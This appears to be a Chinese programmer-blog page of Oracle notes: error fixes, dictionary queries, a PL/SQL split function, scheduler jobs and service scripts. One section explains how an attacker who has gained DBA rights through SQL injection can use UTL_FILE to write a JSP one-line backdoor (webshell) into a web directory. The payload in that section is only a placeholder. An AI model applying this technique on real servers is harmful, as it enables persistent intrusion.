欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

common

程序员文章站 2022-05-13 17:43:03
...

命令:

错误描述:

ORA-01034: ORACLE not available
ORA-27101: shared memory realm does not exist

 

这个错误有点怪,以前可以用的,由于把用户的DBA权限去掉了,重启电脑 。。。后来就报这种错误。。。

解决方案:

ORA-01034: ORACLE not available
ORA-27101: shared memory realm does not exist

在CMD中输入以下内容,

1,c:> ;sqlplus /nolog

2,Sql> connect jjt【用户名】/jjt【密码】@orapop【实例名】 as sysdba
3,SQL> startup

 

 

http://blog.csdn.net/didiaodezhu/category/594612.aspx

1.
select *  from all_tab_columns where table_name = 'T_OMC_LOG'
查看表结构
select uo.object_name from user_objects uo where uo.object_type = 'TABLE' // TABLE要大些
查看该对象下的所有表名

select uo.* from user_objects uo  //查询所有用户对象

truncate table 表名 //删除表的所有记录 自动commit

select fid from t_sys_dept start with fid =pDeptid connect by prior fpid = fid //通过子编号向上查询所有父类(包含本级 但没到 *)
select t.fid from t_sys_dept t  connect by prior fid = fpid  start with fpid = pDeptid//通过编号向下查询所有子类(不包括本级)

存储过程授权
 grant execute on 存储过程名字 to 用户名
 如: grant execute on xjq to omc;
 


2.
 oracle中的split 字符串分割函数

 (1)第一两个类型
 CREATE OR REPLACE TYPE ty_row_str_split  as object (strValue VARCHAR2 (4000))
        CREATE OR REPLACE TYPE ty_tbl_str_split IS TABLE OF ty_row_str_split
 (2)写一个方法
create or replace function fun_split
(
      p_str       in varchar2,
      p_delimiter in varchar2
)

return ty_tbl_str_split is
      j         int := 0;
      i         int := 1;
      len       int := 0;
      len1      int := 0;
      str       varchar2(4000);
      str_split ty_tbl_str_split := ty_tbl_str_split();
begin
      len   := LENGTH(p_str);
      len1 := LENGTH(p_delimiter);


      while j < len loop
        j := INSTR(p_str, p_delimiter, i);

        if j = 0 then
          j    := len;
          str := SUBSTR(p_str, i);
          str_split.EXTEND;
          str_split(str_split.COUNT) := ty_row_str_split(strValue => str);

        if i >= len then
          exit;
          end if;
        else
          str := SUBSTR(p_str, i, j - i);
          i    := j + len1;
          str_split.EXTEND;
          str_split(str_split.COUNT) := ty_row_str_split(strValue => str);
        end if;
        end loop;
  return str_split;
  exception
     when others then
    -- xp_sys_errorlog('procedure','xp_sys_permit',sqlcode,sqlerrm,'p_str='||p_str);
 dbms_output.put_line('异常');
end fun_split;

 

       (3) 测试调用
 my:自定义的
 pUserid:要截取的字符串 如:1^3^2^4^5^6
create or replace procedure xp_sys_permit
(
       pUserid      varchar2,   -- 用户编号
       pRet         out number  -- 返回参数

)

is
  pCountPid int :=0;

begin
 for my in ( select to_char(strvalue) as Value from table(fun_split(pUserid,'^')))  
        loop                            
             if my.value is not null then
   dbms_output.put_line('测试');
       end if;
  end loop;
exception
      when others then
      pRet := 1000;
end xp_sys_permit;

3.procedure 循环一张表的数据
create or replace procedure xp_sys_initpermit
(

       pAccount     varchar2,
       pRet         out number 

)
is
  pUserid int :=0;         -- 用户编号
  pMenuid varchar2(500):=''; --菜单编号
  pActioninit varchar2(500):=''; --菜单动作

 
begin
  pRet :=0;
   for pTable in (select t.fid,t.factioninit from t_sys_menu t where t.fneed = '0')
            loop
               pMenuid := pTable.fid;
               pActioninit :=pTable.Factioninit;
            end loop;

exception
      when others then
      pRet := 1000;
      xp_sys_errorlog('procedure','xp_sys_permit',sqlcode,sqlerrm,'pAccount='||pAccount);
end xp_sys_initpermit;
4.
 
                      MySQL                      SQL Server                   Oracle
 
   换行符    \n或\r\n或CHAR(10)        CHAR(13)                     CHR(10)
 
 
 字符串连接符  CONCAT()                 +                                ||或CONCAT()

5.作业
select * from user_scheduler_jobs  --查询当前用户所有调度作业
 
execut dbms_scheduler.drop_job(job_name);--删除调度作业(‘大写’)
 
exceut dbms_scheduler.stop_job(job_name);--停止调度作业
 
exceut dbms_scheduler.run_job(job_name,true); -- 开始调度作业true代表同步执行
 
exceut dbms_scheduler.enable(job_name); --启用调度作业
 
 
begin
   dbms_scheduler.create_job
   (
      job_name        => 'REPORT_FORMS_JOB',
      job_type        => 'STORED_PROCEDURE',
      job_action      => 'xp_job_report_forms',
      repeat_interval => 'FREQ=DAILY',
      start_date      => to_date('2009-02-20 23:58:59','YYYY-MM-dd HH24:MI:SS'),
      enabled         => true,
      comments        => 'New T_QZT_REPORT Table Rows'
   );
end;

 
begin
dbms_scheduler.create_job
   (
      job_name        => 'UP_OVERTIME_JOB',
      job_type        => 'STORED_PROCEDURE',
      job_action      => 'xp_up_overtime',
      repeat_interval => 'FREQ=MINUTELY; INTERVAL=2',
      enabled         => true,
      comments        => 'Send Overtime Sms To User'
   );
end;

------------------------------------------循环-------------------------------------------

set serveroutput on
declare
  vnum number:=10;
  i number:=0;
begin
--loop循环
--loop
--  dbms_output.put_line('i='||i);
--  i:=i+1;
--  EXIT when i>=10;
--end loop;
--while 循环
--  while i<10 loop
--    dbms_output.put_line('i='||i);
--    i:=i+1;
--  end loop;
--for 循环
  for x in 0..10 loop
    dbms_output.put_line('x='||x);
  end loop;
end;
 
------------------------------------------------oracle 写文件的存储过程(环境oracle10g)---------------------------------------------
 
一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell

下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址

以下是一个简单例子

--首先我们得先建立一个 ORACLE的目录对象 指向 C:\

create or replace directory IST0_DIR as 'C:\';     --如果没有权限创建目录可以 grant CREATE ANY DIRECTORY to *** 通过这个语句来授权

--然后我们对这个目录对象进行授权 其实这步可以忽略

grant read, write on directory IST0_DIR to 用户;

--以上前奏完成了! 我们可以写PLSQL 进行操作文件了
declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '一句话后门'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;
--下面我们可以使用读操作把写入的文件内容读出来
declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); -- 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file); --关闭文件指针
end;

 


 ==================安装=============
安装的时候 目标文件 用英文目录 如:E:\data\F\92010NT_Disk1

 

=================启动================

@echo off
net start OracleOraDb10g_home1TNSListener
net start OracleServiceORCL
net start OracleOraDb10g_home1iSQL*Plus
:end

==============停止====================
@echo off
net stop OracleOraDb10g_home1iSQL*Plus
net stop OracleServiceORCL
net stop OracleOraDb10g_home1TNSListener
:end


==============oracle解锁=============

select t2.username,t2.sid,t2.serial#,t2.logon_time
from v$locked_object t1,v$session t2
where t1.session_id=t2.sid order by t2.logon_time;
--查看锁

--alter system kill session 'sid,serial#';
--把锁给KILL掉
例如:
 alter system kill session '146,21177';